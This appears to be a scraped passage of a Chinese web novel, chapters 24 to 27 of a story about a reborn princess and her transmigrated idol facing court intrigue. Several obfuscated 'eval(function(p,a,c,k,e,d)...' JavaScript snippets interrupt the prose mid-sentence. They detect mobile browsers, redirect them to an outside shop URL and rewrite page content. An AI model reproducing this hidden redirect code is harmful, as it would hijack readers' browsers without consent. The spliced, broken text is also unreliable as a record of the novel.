“你想听古代版的我,还是现代版的我。” “先听古代版的你,再听现代版的你。” “那好。” “我叫温吟知,是父皇最喜爱的六公主……” 她跟肖赢说着这十六年的人生,将她人生中大大小小还记得事都同他讲了一遍。 在听她幸福被宠爱长大的童年时,她从小就爱研究水稻时,他会心一笑。在说到颜晚周提出‘非当代之人’预言时,会放慢语速问她是不是害怕了。在说到太子哥哥的离世时,他也唏嘘了好久,一同认为天妒英才。在说到父皇因为太子哥哥一死,转而求长生时,他同她一样也保持了沉默。 肖赢很有耐心地听着,全程没有一丝不耐烦。好似她要讲到天亮,他也能陪她熬一宿听她倾诉。 这般温和真诚的人,就这般真真切切地在她面前。 她好似在这场倾诉中,又明白了肖郢在梦中对她说的第二句话,何为过去的永不消散,来日之路光辉灿烂。 肖郢是过去,肖赢是未来。 这是肖郢唯一能留给她的,最好的一切。 然后便是她日复一日的梦魇,陆今年与颜晚周的对持斗争。再接着与肖郢的相识了,她再同肖赢讲了一次两人的相识,以及后续至今发生的事情。 她没有选择隐瞒,就连揣测做梦是她的金手指也同肖赢一块说了。讲完十六年的人生后,肖赢难得沉默了。 他的脸上没有一直以来温和的笑容,有些低落的同她道:“若那封信真是他写的,那他一开始就在布局。我不明白他为何会出现在祭坛上,他本可以省略这一环,直接从林氏避暑山庄同你初见。” 肖赢认真分析另外一个自己:“也许是因为出了意外,他写那封密信的事被控制他的人知道了,成为了弃子。” “于是将他架上了祭坛。” “他本来要死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖赢即使和温吟知接触的时日并不多,却也知晓她是个爱憎分明,素来讨厌被人欺瞒利用的人。 然而就这么一位爱憎分明,厌恶欺骗隐瞒、性格张扬的公主,却很平静地接受了一切。 她说: “为什么要生气讨厌他?他并未伤害到我。” “如果换做是你呢?你会生气讨厌他吗?” 肖赢代入了一下两人的视角互换,如果有一日温吟知装懦弱,利用他的同情心,一步步达成她的目的。 他立即给出了答案:“不会。” 温吟知双眼一眨不眨地看着他,等着他的解释。 肖赢很认真严肃地道:“我会很庆幸。” “庆幸她不是真的懦弱,没有成为一个轻易被欺负的人。” “我们——”温吟知抬头看向天上的明月, “想法一致。” 粉随正主,在这一刻得到了完美的诠释。 肖赢的答案便是她的答案。 24. 我的荣光 肖郢的话题揭一段落,温吟知和肖赢都默契的不再讨论他。 肖赢还有其他疑惑未解。 他问温吟知:“那么现代的你呢?我从未问过你,当年的你为什么会深夜孤身一人出现在那荒凉的路上。” “种族的歧视、漂亮出众的外表以及优异的成绩、还有不参与小团体特立独行的性格,让我在国外的学校遭受了校园霸凌。你知道的,在国外的teenagers是多么出名。” 话音一落,温吟知短暂地愣了一会。她竟然在雍朝,在这个行举国之力在寻找‘非当代之人’的朝代,轻而易举地说着不属于这里的语言。 她是被肖赢那句‘Surprise’所影响了。 她看向周围,栖鸾宫内所有的宫女太监早早就已自动退避。只有一直趴在树上,尾巴一扫一扫无聊凝视着他们的思家还在。 自她胎穿以来,她很久没有这样放松的和朋友闲谈一次了。 “后来呢?”肖赢想知道后续。 温吟知如今是雍朝的六公主,今年十六岁。当年他遇见她时,她也差不多同如今这般大。肖赢看着她,总觉得二十六年前发生的事,仿如昨日。 “后来自然是让她们付出应有的代价。”温吟知全身放松躺在摇椅上:“她们以为我是个从中国来的普通转学生,以为我好欺负,不会把事情闹大。” “当晚我就报了警,让学校提取了监控,查清楚是谁在我的水里下药,将我锁在废弃的课室里。” “我们拒绝和解,坚决表明走法律程序。当地法律该怎么判,就该怎么判。” “对方几位家长意识到我们并非软柿子,试图拿钱砸我们松口,我家最不缺的就是钱。我退了学,父母请了专业的律师团队为我讨回公道。顺便以学校安保措施不完善为理由,也一块告了。” 温吟知想着以前的岁月,充满怀念地说道:“证据确凿,毫无疑问赢了。” 她的妈妈裴女士得知她被下药后,气愤又害怕得不行,立即带她去医院做了全身的检查。她的爸爸大温总合同都不谈了,带着专业的律师团队立即从国内飞过来替她找回公道。 她在现代是父母唯一的掌上明珠。 在雍朝,她虽也是父皇和母后的掌上明珠。但帝王之怒时,她和母后雍朝后宫里最尊贵的两人,也得跟着众人一样下跪求帝王息怒。 在皇宫,父母与子女之间也掺杂着算计。例如她与思家在父皇面前演得那一出戏,那红了的眼眶里有多少真情实意,就连她自己也不知晓。 听完事情来龙去脉的肖赢察觉到了她情绪的失落,人人都说她是雍朝最尊贵最受宠爱的公主,认为她是全天下最幸福快乐的姑娘。但他能感觉到,如果有得选择,温吟知必然不会选择穿越做雍朝的六公主。 因为在现代的她,足够自由,足够被爱,家永远都是她最坚强的后盾。 她在现代有一对很好的父母,他也是。 他在现代有着热爱的事业,热爱的舞台,热爱的人,他也同样怀念着现代。 肖赢看着这一望不尽的黑夜里,没有大灯没有摄像没有穿着现代装的剧组工作人员。 他的脑海里无故多了八年的记忆,又少了十年的记忆。 肖赢:“我们还能回去吗?” 温吟知深吸一口气:“这些年我试过七星连珠、流星雨、日全食等等小说里常见的经典穿越背景条件,全都没用。” “我们回不去了。”她眉宇间满满的都是难过:“没有人能在穿越后,成功反穿回去。” 更何况她是胎穿,如果她能成功反穿回去,那原先的那个‘温吟知’呢?现代的她是死是活,现代的爸妈能相信如今身上流着雍和帝后之血的她,是他们的亲生女儿吗? 早些年她还执拗得暗地里寻找回去的方法,后来失败的次数多了,渐渐地她也就放下了。 肖赢是圈里人,接触过的剧本那更是数不胜数,他比温吟知更明白这个道理。 穿越剧中只有在故事完结后,穿越的主角才有可能返回原本的世界。 提完前世之事后,她手中的扇子半响都没曾动过。她的情绪、她的难过,他在这一刻完全能体会到她的感觉。 肖赢主动接过她手中的团扇:“没关系,那就既来之则安之。” 温吟知诧异,抬眸看向他。 肖赢轻轻为她扇凉,看着这无尽的夜色,温和地说道:“凡事之中必有冥冥注定。时空既然选择了我们,必有我们存在的道理。” 他回首,眸中一片清明:“我是肖赢亦是肖郢。” “我要替肖郢完成他没做完的事,去寻找在这个朝代养育我的父母,和小我四岁的妹妹。” 他像一个孤行的旅人,终于在行进的路上寻到了志同道合的同伴,眼底的清明和希冀是肖郢身上从不曾拥有的。温吟知的唇翕动几下,终究没有开口告知他,她所知的一切。 不戳破留个念想也好。 父母已死,但妹妹未亡。她舍不得看他明亮的眼睛再暗淡下去。 “那么你呢?”一直没等到她开口的肖赢,念着她的名字和身份,“吟知?公主?” 温吟知从想肖郢的思绪里回过神来,二人目光对视而上。他的眼眸深邃而炙热,充满了自信与力量,仿佛能征服一切困难。 “我吗?”她轻声反问,她要做的事可多了。 肖郢的家人还不知晓在哪里,颜晚周要她除了陆今年,陆今年和这个戏团到底在做什么?肖赢为什么会有两个人格,肖郢又为何变成了肖赢……她要做的事情可多了。 明日天一亮,迎接她的不只是黎明的曙光,还有污名和无名。 但无论诸事繁多,全汇聚成了一句话:“我要掌握自己的命运,才能保护我想要保护的人。” 话一出口的那一瞬间,她身上的气势瞬间就变了,迸发的是与生俱来的皇家威严。 帝皇血亲,天潢贵胄,天之骄女,雍朝最尊贵的永宁公主,这才是她。白日里那因自责而哭哭啼啼的温吟知,只是限定的。 她只是万千众生中也拥有情绪的普通人之一。 哭,没什么好丢脸羞耻的。 哭,不代表她懦弱。 肖赢被她这番来势汹汹的转变,震慑得挪不开视线。他还将她当成了二十六年前,那个在国外需要帮助的小姑娘。 如今看来,他先前的担心都是多余的。 肖赢忍不住开口:“我能帮你做些什么?” 他也很想帮她做些什么。 “朝堂上的事我能应付。”温吟知如今已经完全冷静下来了。经此一事后,她再也不会让身侧之人去做一丝一毫冒险的事。 这个闷亏她岂能忍下,她和温元钦的事没完,她一定会打出一场漂亮的翻身仗。 她只是需要时间去构思她的计划,不能再像思家一事般出现意外,不能再像肖郢一样被牵连差点被处以宫刑。 她得小心再小心。 “至于污名……”温吟知话音一顿,“在没有完全除掉大喇嘛前,要委屈你一段时间了。” “我才是你的污名,是我害你名声受损。”肖赢说出自己的心里话:“况且我为何要觉得委屈,受害者是你,你都不惧且无畏。” “不,”温吟知听不得他贬低自个,她反对:“你永远都不会是我的污名。” “过去不是,未来更不会是。” 你一直都是我的荣光。 这是她暗藏在心里一直未曾说出口的心里话。 肖赢连眨两下眼睫,她的目光清澈干净,让肖赢想起在现代总是追线下,而又静静站在人群中默默注视着他的温吟知。她好似一直都没变,但又感觉变了。 温吟知觉得肖郢不可能没留后手。肖郢设的这场局,她才刚刚入场,后续会发生什么谁都不知晓 “我们一起弄清楚肖郢身上发生了什么,你和肖郢之间又是怎么转换的。” 温吟知伸出手:“以后的日子,我们一起。” 她在等肖赢的回应。 肖赢看着她停在半空中的右手,从他苏醒来,他的人生发生了翻天覆地的变化。胎穿、脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368094|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海里莫名多了一段记忆,又少了一段记忆,生病分裂的人格,在异时空与她相遇…… 复杂缭乱的人生,在遇见她后,一切都被拨乱反正。 他的手握了上去。 两位穿着古装的现代人,用着现代握手礼仪达成一致,成为了盟友。 温吟知抬眼看着他淡笑,他是她喜欢十年的偶像,也是十年来一起淋雨互相走过风雨的朋友。 肖赢也想回她温和的笑容,但一阵难忍的咳嗽袭来。他躬着腰手抵作拳挡在唇边,发出沉闷的咳嗽声。 “咳咳——” “都是我不好,你大病初愈,不该拉你说如此多的话。”温吟知双手搀扶他回房。 肖赢自醒来,便察觉身上遍布的伤口带来的痛意。但自他看见温吟知那一刻起,所有的疼痛都被他抛之脑后。只想着她是否也是二十一世纪穿越过来的人,一心想与她说说话。 “没事。”他抬手安抚着她的情绪。 “别说话了,快随我回房。”温吟知强势带着肖赢回屋,将他安置在榻上。 醒来后这些行动仿佛耗光了他所有的力气,肖赢几乎是沾床就睡。温吟知又传李太医为他看诊,所幸并无大碍,只是身体强撑到了极限。 温吟知心情沉重地松了口气,替他捻了捻被角。随后便跪坐在一侧的案桌上,挽袖研磨提笔。案桌上的蜡烛越烧越短,坐姿端正永远挺直背脊的姑娘,在宣纸上写下一封密信。 她轻吹,笔墨已干,将信封口,道:“春雪,速将这封信速送往岭南。” 春雪闻言而入,取走她手中信,临走前好奇问了句:“公主,即使快马加鞭等信送回京也要花上半月有余,借此来对付四殿下不是远水救不了近火吗?” 温吟知笑了笑,胸有成竹:“所以还得寻其它的法子。” 她抬手让春雪靠近些,两人耳语一番,春雪越听眼眸越发明亮,直拍手赞道:“好法子!” “还有一事要你速去查办。”温吟知看了看肖赢沉睡的侧颜,一切都在无言中。 她要细查肖郢的过往。 “遵命。”春雪行礼道,公主一个眼神,她便懂了。 “等等——”温吟知叫住了春雪。 春雪等待她的后话。 温吟知:“再派几名暗卫去陆今年名下的产业寻肖郢的妹妹,如若能将她安全带出最好。否则且勿打草惊蛇,她性命无忧才是最要紧的事。” 春雪:“诺。” 这次春雪真的走了,忙碌了一天终于闲下来的温吟知垂思想事。一只萤火虫从窗外飞入,平稳落在她的手背上。 温吟知一愣,手背无意识地动了一下。萤火虫就从她的手背上起飞,它在空中飞行,用尾部的微光,悄无声息地画着不规律的光线。 温吟知注视着它,直至它降落在肖赢的床头,在沉寂的黑暗中一闪一闪地发着光。 温吟知看了半响,也没有瞧它挪开半分位置。它像是找到了属于它的位置,默默守护在那里。 温吟知看着它,仿佛看到了过去的自己。她吹灭了蜡烛,起身离开。 夜已过半,一声呓语打破这午夜的宁静。 “爸妈……” 温吟知回头,瞧见晶莹的汗珠自肖赢的侧脸流下,顺着白皙的脖子流入里衣。 她便轻手轻脚来到肖赢的身侧,拿出帕子轻拭着他额间的水珠。她也学着肖赢为她纳凉的模样,一手拿起旁边的团扇轻轻为他扇风,轻声哄道:“睡吧,爸妈都在。睡醒起来还有一天的工作要忙。又要进组了,要去拍定妆照,还要为剧写插曲……” 她温声细语诉说着肖赢在现代没做完的事,眼皮子越来越困,手中的团扇幅度越来越小,最终归为平静。 春婳躺在不远处的树杈上,双手环胸看向屋内熟睡的二人。素来没什么表情的她,眼中渐渐有了些波澜。 所有人都不知道公主也病了。 但好在,她终于找到了治病的药方。 床头的萤火虫振翅从屋内飞出。 一夜无梦,直到天光。 25. 盈满笑意 第二日,肖赢还尚未醒来。 率先醒来的温吟知发现,自己是趴在肖赢的床边睡着了。 没有噩梦缠身,更没有醒来后的疼痛折磨。 她呆滞了许久才接受这个欣喜的变化……欢喜地站起身,踉跄着往屋外走去。 她终于能恢复正常人的生活了,再也不用承受那些痛苦。 她的脚步越走越快,甚至还跑了起来。迎面温柔的风轻拂过她的发梢,她喊着春婳春雪的名字:“春婳春雪,你们在哪?” 温吟知要将这个好消息告诉她们。 在树上守了一夜的春婳目睹了一切。 她在树上大喊一声:“公主。” 温吟知停下脚步,循声望去。 春婳淡笑着同她道:“我知晓了。” 春雪带着一长串的宫女从拐角处出现,眨巴着眼对温吟知说道:“公主,我也知晓了。” 她可是公主贴身宫女,公主夜里在哪歇的,何时入睡,一夜翻身多少次她都一清二楚。昨夜之事,她如何会不知。 温吟知眼眸盈满笑意,所有的一切都在往好的方面上发展。 春雪上前,挽着温吟知的手往偏殿去:“好了好了,公主该梳妆打扮了。” 春雪为她换衣梳洗,寝殿内无声忙碌着。 温吟知身姿挺正地坐在铜镜前,任由宫女在她脸上佐上精致的妆容,为她发间添上华丽的珠玉金钗。最后再褪去昨夜里穿的常服,换上熠熠生辉而又低调华贵,用金线绣纹描绘出的流彩玫瑰宫装。 古代是有玫瑰花的,温庭筠还在他的诗中有“玫瑰拂地红”的描写。温吟知还特地寻了花匠,在她的栖鸾宫种了一片玫瑰。 温吟知又回到正屋,肖赢依旧未醒。温吟知担心他,出门前特地唤来李太医为肖赢把脉。 李太医昨夜未出宫,想着今日公主必定会传召他,他便早早收拾好东西候着。因此李太医来得极快,他一入殿,便瞧见端庄又华贵的公主屈膝跽坐在一侧的蒲团上,身侧的大宫女春雪正在为她研磨。 一身便装的春婳伸手,做了一个请的姿势,意思很明确让他入内为榻上之人诊脉。 这期间公主从始至终全未抬头看他一眼,李太医摸了一把额间不纯在的虚汗,不由紧张自己是否做错了事。 温吟知提笔,无声在折子上写着什么。李太医全神贯注为肖赢诊脉,大气都不敢喘一声。 李太医诊脉完后,很自主地走到温吟知面前,等候她的问话。半盏茶后,李太医额间真的冒出一把虚汗,温吟知也终于停下手中笔,召他上前两步回话。 李太医低垂的视线无意扫过桌面,见公主右手边已写好一密封的信函,而她笔下的折子上正写着“儿臣要参四殿下”几个字。 他将头埋得更加低了,只敢盯着自己的鞋尖,回禀道:“公子今日脉象比昨日强些,好生调养着,也能活到长命百岁。” 李太医弯着腰小心翼翼、压低声音回话,生怕吵醒肖郢。 温吟知这才从写完的折子上抬眼,鬓间流苏未动,唇边露出点温和的笑容:“那肖公子日后的调养都交于李太医了。” “办得好,本公主自当有赏。” “臣应当的,不敢邀赏。”李太医要跪下,被眼疾手快的春婳扶起了。 春婳:“公主在宫内的贤名太医未曾听过吗?为公主做事,好处自当少不了。” 李太医自当是听过公主对自己宫内人极好的贤名,才会投靠她的。 他年岁已大,即将从这位置上下去,又无依靠。昨日这才倚老卖老,吓一吓这哭得梨花带雨的公主,将肖公子的状况夸大了那么一点点点。这样等他将人救回之时,公主必然十分感激于他。 不过他那还不是因为他对自己的医术自信,换做旁人,那可未必能成功救回来。 温吟知合上墨迹已干的折子,顺手将密信和折子拿起,起身边走边道:“不必再与本公主耍小心思,本公主信你能医好肖公子。医好他,待你致任后随意挑一处本公主的地方养老。” “医不好——”温吟知停下脚步,并未回身。 李太医怔怔楞在原地,等待着公主的下文。他在皇宫里听的多了,下一句必然是:“他死了,你也得死。我要你们整个太医院为他陪葬。” 他们太医的命都不是命。 温吟知说不出电视剧里那些经典台词。 “人力有时而穷。”温吟知明白即使在医疗技术先进的现代,也有许多无法治愈的疾病。 所以她对李太医说:“我不会杀你,也不会放过你。知道边疆吧?他若死了,你便也不用致任了。直接拿着我的调令去军营,发挥你此生最后的价值。” 话毕,温吟知敲打完李太医便径直往前走。 片刻后,李太医朝温吟知离开的方向跪下,无声磕了个头。 温吟知出栖鸾宫后,拿着折子一路向金銮殿的方向而去。 临走前她叮嘱着春雪:“今日你留在栖鸾宫内照看着肖公子,莫再让什么阿猫阿狗再欺到他头上。” 春雪是她的贴身大宫女,宫人几乎都认识她。外加她的性子比春婳泼辣许多,留她在栖鸾宫温吟知才能放心离开。 温吟知将折子留下,把信交给了春雪,道:“注意避开宫里的耳目。” “昨夜派暗卫去接了证人,若有回传消息,速速回禀。” 春雪郑重地点头,将信藏进衣袖中。 思家从花丛中钻出来,抖搂一身的花瓣与叶子。 春雪见此,气得迅速扼住它的脖颈,拎着它边走边说:“撕家你又糟蹋公主的花!” “今日你不许出去玩!你得干活赔偿!” “喵喵喵?” —— 金銮殿外,满朝文武百官看着不该出现在此的永宁公主,纷纷面面相觑,只敢行礼问好,不敢打听她此行目的。 温吟知站在百官中央,来时便扫视过一圈了,温元钦还未到。 虽然他人未到,但一些支持他的爪牙已经跳出来阴阳怪气地指责她:“公主,此处是文武百官上朝之地,不是你等女子该来之处。” “臣知晓陛下宠爱公主,但此时离陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374724|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下朝还久。国有国法,家有家规,公主不该坏了规矩。” 温吟知捏着手中的折子,不屑地垂眸淡笑:“孙大人,你是在说本公主没家教吗?指责本公主的父皇,以及出身裴氏的母后没教好本公主,他们均不称职吗?” 被提及在场的裴氏子弟,很默契地将目光落在刑部侍郎孙大人身上。 一大顶帽子扣下去,得罪不起世家的孙大人语塞:“自然不是……” 温吟知漫不经心抬眼:“那你在叫唤什么。” 话音刚落,人群中便立即响起低低的笑声。大家都是文人,骂人也含蓄许多。他自然听得出,公主是在说他在狗叫什么。 就在孙大人窘迫得面红耳赤之时,他仿佛看见了救星般,鞠着腰小跑过去,大喊:“殿下!” 温吟知站在原地将背脊挺得笔直,不用回头她都知晓孙大人口中的殿下是谁。 孙大人没有得到温元钦的回应,倒是温吟知感觉到身后有人靠近,视线落在她手中的折子上。 她耳边响起一道含笑而又低沉的声音:“浓浓,你要参哥哥。” “不行吗?”温吟知反问他。 温元钦轻笑:“你连金銮殿都进不去又如何参哥哥。” 温吟知五指捏着折子,也学着温元钦的模样轻笑道:“那我便——改写规矩。” “好,我等着看你失败的样子。”温元钦拍手赞好,脸上依旧保持着温和的笑容,直接越过她往金銮殿的方向走去。 温吟知看着他离去的背影,看着温元钦站在最首位等候传唤。而他的身后站在以林飞白父亲,林尚书令为首的一干等人。 这是拥护温元钦一派的势力。 一道庄严的声音响起:“永宁殿下。” 温吟知识得这道声音的主人,侧身回眸,瞧见颜晚周的父亲颜相正向她行礼,颜晚周也跟在颜相身后。 这是以颜相为首拥护先太子一派。 不过自太子哥哥去后,这一派倒不能再称为一个完整的党派。没了领头羊,改投阵营的改投,折服先太子个人魅力的大臣心灰意冷,沉寂的沉寂……种种原因,最后只剩下一小部分看不上任何皇子,独立在各方势力的先太子一派。 温吟知心中转过千重心思,面上却保持着得体的笑容:“颜相免礼。” 她是太子哥哥的嫡亲妹妹,颜相一派还是很尊重她的身份,每次都会依礼唤她一句‘永宁殿下’。 不是公主,而是她的封号加殿下。 颜相行礼时便看见公主手中的折子,但他并未多言,像是只是依着宫规行礼般,行完礼便离开。跟在颜相身后的颜晚周一直注视着温吟知,似乎在等她喊他。 但直至他完全越过她去,颜晚周也未听到温吟知发出任何一个音节。她虽站在中间位置,满朝文武都将她隔绝开来,无人站在她身后更无人询问她要做什么。 从金銮殿内出来的内侍提嗓:“进殿。” 满朝文武百官便按官位品阶列队站好,整理衣容衣冠进殿。 温吟知亦跟了上去,没出意外被拦在了殿外。 26. 反击中一 “公主,此为朝会。公主并未身居官职,不可入内。”内侍解释着拦下她的缘由,看着她手上的折子补充道:“如若要寻陛下,公主不若等散朝后再来。” 温吟知知晓宫规并不为难他人,只是道:“有劳公公转告父皇,儿臣在此等候父皇下朝。” “诺。”内侍点头行礼告退。 温吟知便这么被拦在了金銮殿外,日头渐渐升起,她穿着隆重的衣裙,出了一身热汗。但她是公主,此处是金銮殿,她的一举一动都代表着皇家,她必须得时刻保持优雅端庄。 “公主,吃些糕点吧。”春婳心疼她,公主昨夜里很晚才睡,一大早醒来又寻太医为肖公子看病,为了赶上早朝根本未曾用早膳。 不过幸好她出门时顺手揣了些糕点。 温吟知摇头:“你吃吧,父皇的人在暗处看着我。” 春婳自然知晓,躲在雕龙金漆石柱后的人一直在监视着她们。她藏回袖中的糕点,心里一阵不爽快。 石柱后的身影晃动,温吟知浅浅地抿了下唇。 春婳发现公主唇边的笑意后,忍不住问:“公主笑什么?” 温吟知食指轻点折子的背面:“笑,我们的好日子要来了。” 话音刚落,便有内侍搬着矮桌、蒲团、茶几、熏香、糕点、华盖等等而来。 内侍微弯着腰笑道:“这是陛下特地吩咐为公主准备的,奴才已经派人去取冰了,冰鉴稍后便来。” “有劳公公。”温吟知屈膝跽坐。 金銮殿内传来雍和帝的怒骂声,声音震耳欲聋到在殿外的温吟知都听见了。 “一个案件谜点重重,你竟敢就此结案,真是好大的胆子。” “能干就干,干不了就滚。” “朕养尔等废物,又有何用!” 温吟知询问着内侍:“这里头被训斥的是哪位大人。” 内侍观察着温吟知的反应,伸长脖颈往里看了一眼,讨好地回答:“是刑部侍郎孙大人。” 温吟知意味深长地说了句:“原来是他呀。” 内侍多看了她两眼,瞧见公主并无任何得意的神色,便带着其它宫人退下了。 春婳为温吟知倒茶:“这金銮殿前发生了何事都逃不开陛下的眼睛,陛下这是在为公主出气呢。” 温吟知轻抿一口新茶,未答。她心里很清楚父皇是个很公私分明之人,是孙大人的本职工作没做好触他逆鳞。 春婳又问:“公主为何不让国师大人帮忙将折子递上去。” 温吟知的视线看向金銮殿的方向,缓缓道:“因为他帮不了我,帮我反而会害他引父皇猜忌。” “因为,这条路只有我自己走。” 春婳听不懂了,她向来喜欢用冷刃的刀解决一切。 温吟知也没指望春婳能懂,她将糕点推至春婳面前:“父皇赏的,快吃。” 她说完便将一块糕点塞进春婳口中,春婳懵了懵,机械地将口中的糕点吞下。温吟知满意地喝着茶继续等待,不填饱肚子怎能应对后面几个时辰。 果然今日散朝的十分晚,温吟知在殿外偶尔能听见殿内,有臣子激情飞扬地赞扬着四殿下研制出的水稻,拯救了多少百姓免受饥饿之苦。 温吟知一笑而过,让子弹飞一会。 但散朝结束后,温吟知一直没瞧见温元钦林尚书令、颜相颜晚周等人出来,她猜想是父皇留人了。 晌午已过,温吟知坐得脚都麻了,这群人才从御书房里出来。 春婳搀扶着她起身,还未等她问上话,父皇身边的李公公,便先一步寻到她:“公主请回吧,陛下今日处理政事动了气,现已经歇下了。” 温吟知闻言从腰间解下了一香囊交给李公公:“这香囊具有缓解疲劳的功效,还劳烦公公转交给父皇,儿臣明日再来。” 李公公接过,行礼告退,金銮殿外就只剩温吟知主仆二人。方才李公公与她谈话,温元钦和颜晚周必然不会贸然打扰,他们都已离去。 温吟知看着御书房的方向,道:“走吧。” 春婳大为不解,公主在此等候几个时辰,足足晒了几个时辰的日头,时候尚早,陛下为何不见她。 像是看出春婳的疑惑,温吟知自言自语道:“父皇今日是不会见我的。” 父皇将她那日的话听进去了。 聪明如父皇,当日父皇兴许以为是她肖想皇位继承权是个玩笑话,但后面必然会反应过来她并不是说笑的。 这是大逆不道,雍朝难容的野心! 她和温元钦手心手背都是肉,偏袒谁都是对另外一方的不公,所以父皇选择了无动于衷。 无动于衷温元钦的抢功,无动于衷拒绝了她的求见。 她抬眼,望着这金碧辉煌、龙纹盘绕的金銮殿,道:“父皇要看我是如何能进这金銮殿,如何能递出这封折子。”她笑了笑,语气里有着一种看破一切的淡然:“要看我如何能走到他的面前。” 春婳好似自己懂了,又好似没懂。 “回宫吧。”温吟知不做过多纠缠,毫不留恋地收回目光往回走。 她刚行至宫门处,便瞧见春雪已经在外头等着她。见她出来后,春雪便连忙迎了上去,用手侧挡住口型,小声在温吟知耳边说了句:“昨夜派出去的暗卫回禀,我们去接的证人全死了。” 温吟知不可置信地瞳孔微震:“怎么死的!” 春雪面色不霁道:“突然间出现了山匪,被山匪所杀。” “出宫。”温吟知迅速下令:“活要见人,死要见尸。本公主不信所杀之人均是本公主的证人。” 温吟知一走,便有内侍回来禀报给雍和帝。 正在批奏折的雍和帝顿住:“真走了,她有没有哭鼻子?” 李公公闻言哭笑不得:“陛下说笑呢,这也太小觑永宁殿下了。” “不过……”李公公话音一转:“不过栖鸾宫的宫女跟公主耳语了几句后,公主沉着脸朝神武门去了,看上去是要出宫。” “探子那边汇报,四殿下派人截杀了公主的人。” 雍和帝放下手中笔,停顿了会说:“朕的浓浓啊真长大了……” 他长吁短叹完又紧张地问:“外头那流言蜚语说她养了位貌美似天仙的男宠?” “这……”李公公斟酌着回话:“公主倒是带回来了一位戏子,昨个四殿下的派人将戏子请去了内侍局。公主去内侍局将人带回来后,还向皇后娘娘那要了根百年老参,据说是给那名戏子服用的。” “荒谬!” “一个两个都是荒谬!”雍和帝听了脸色越发不好,怒斥着这对兄妹俩。但他刚刚放出‘已经歇下’的豪言了,作为帝王不好打破这豪言,再召见温吟知。于是他连喝了三盏冷茶,才忍住去栖鸾宫见见这位戏子的冲动。 冷静下来的雍和帝又在思考人生,他十分看不明白他这位女儿。他知晓浓浓的本性并非是个爱争权弄势之人。浓浓身份尊贵、锦衣玉食、无人敢欺。凭着母族和兄长,浓浓必然能平安顺遂的过完一生。 但是他的浓浓为什么要权?为什么不能做个无忧无虑的公主,偏偏要去走这么一条辛苦且大逆不道的路。 “李圆德。”雍和帝唤着李公公的名字。 “老奴在。”李公公答。 雍和帝握着温吟知方才送来的香囊,问:“你说,她俩谁会赢。” 李圆德回答不上来雍和帝的问题,雍和帝也不指望他给出答案,就连他自己都不知晓这个问题的答案。 他站起身,遥望窗外,明明是艳阳天却依旧下起了雨。 春婳替温吟知撑着伞站在雨中,看着草革裹着的尸体,劝道:“公主,您已经在此站两刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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哐哐哐,是铜盆在地上滚落翻转的声音。 春婳看着门外的人影,冷声道:“没点眼力见的东西,还不赶紧进来收拾干净。” 在门外候着的丫鬟怯生生地回答:“诺。” 随即低着头走进来,手脚利索地收拾好地上的残局。 温吟知目光一直落在丫鬟身上,冷静锐利,也带着隐忍的低气场。 但最终都化为一句:“歇息吧,明日一早回宫。” 春婳在抬眼瞅了瞅窗外,人影依在,她听不出情绪地回:“是。” 翌日,天还未亮,温吟知便乘坐马车回宫。 马车行驶一段路后便变得拥挤,因为这是驶入唯一通往神武门的主干道,路上皆是赶着上早朝的各位大人们。 温吟知左侧马车窗户被人敲了两下,她慢悠悠地掀开车帘子,就看见骑在马上温元钦的那张笑脸。 “浓浓今日怎么这般早入宫。” 温吟知不客气地直接放下帘子,未曾理会。 温元钦见她生气的举动,笑着哄着又补上一句:“今日父皇便会向天下宣告哥哥培育的新稻种,届时浓浓想要什么?” 坐在温吟知对面的春婳紧张地看着她,只见温吟知低下头,嘴角含笑微微上扬,意味深长地反问道:“你觉得,你就一定能赢?” 这一刻给春婳的感觉,就像是公主谋划很久的计划终于实现了,伪装了很久的她终于能够彰显她的真面目。 亦正亦邪的笑容,是马车外的温元钦无法窥探到的。但她这简单的一句反问,却轻而易举地让温元钦一阵寒颤,仿佛有种从始至终就被人看破的了然。 温元钦紧紧握紧缰绳,心里暗道:不可能!她没人证物证,那些记载稻子数据的书册都被他拿到手了。 她是绝对无法自证,无法翻身的! 温元钦这么想着,一会神的功夫温吟知已经下了马车走进了宫门。行至金銮殿与栖鸾宫的岔路口,她毫不犹豫地选择了栖鸾宫。 温元钦看着温吟知选择的路,被她随意一句话撩起的心安定了不少。她连金銮殿都不去了,想必是真的没法子了。只要过了今日,这一切的功劳便都是他的了。 27. 猫和我都 “恭喜呀四殿下。”有大臣前来祝贺。 温元钦温和地回礼,说着场面话。 颜晚周与他父亲中书令站在一处,静静看着众人。很明显六部当中已有刑部择主,选了四殿下。其余五部尚且看不出但多少都有些苗头,唯独从入宫就站在原地紧闭双眼打瞌睡的户部尚书,倒是个例外。 半盏茶后,金銮殿内出来的内侍提嗓:“进殿。” 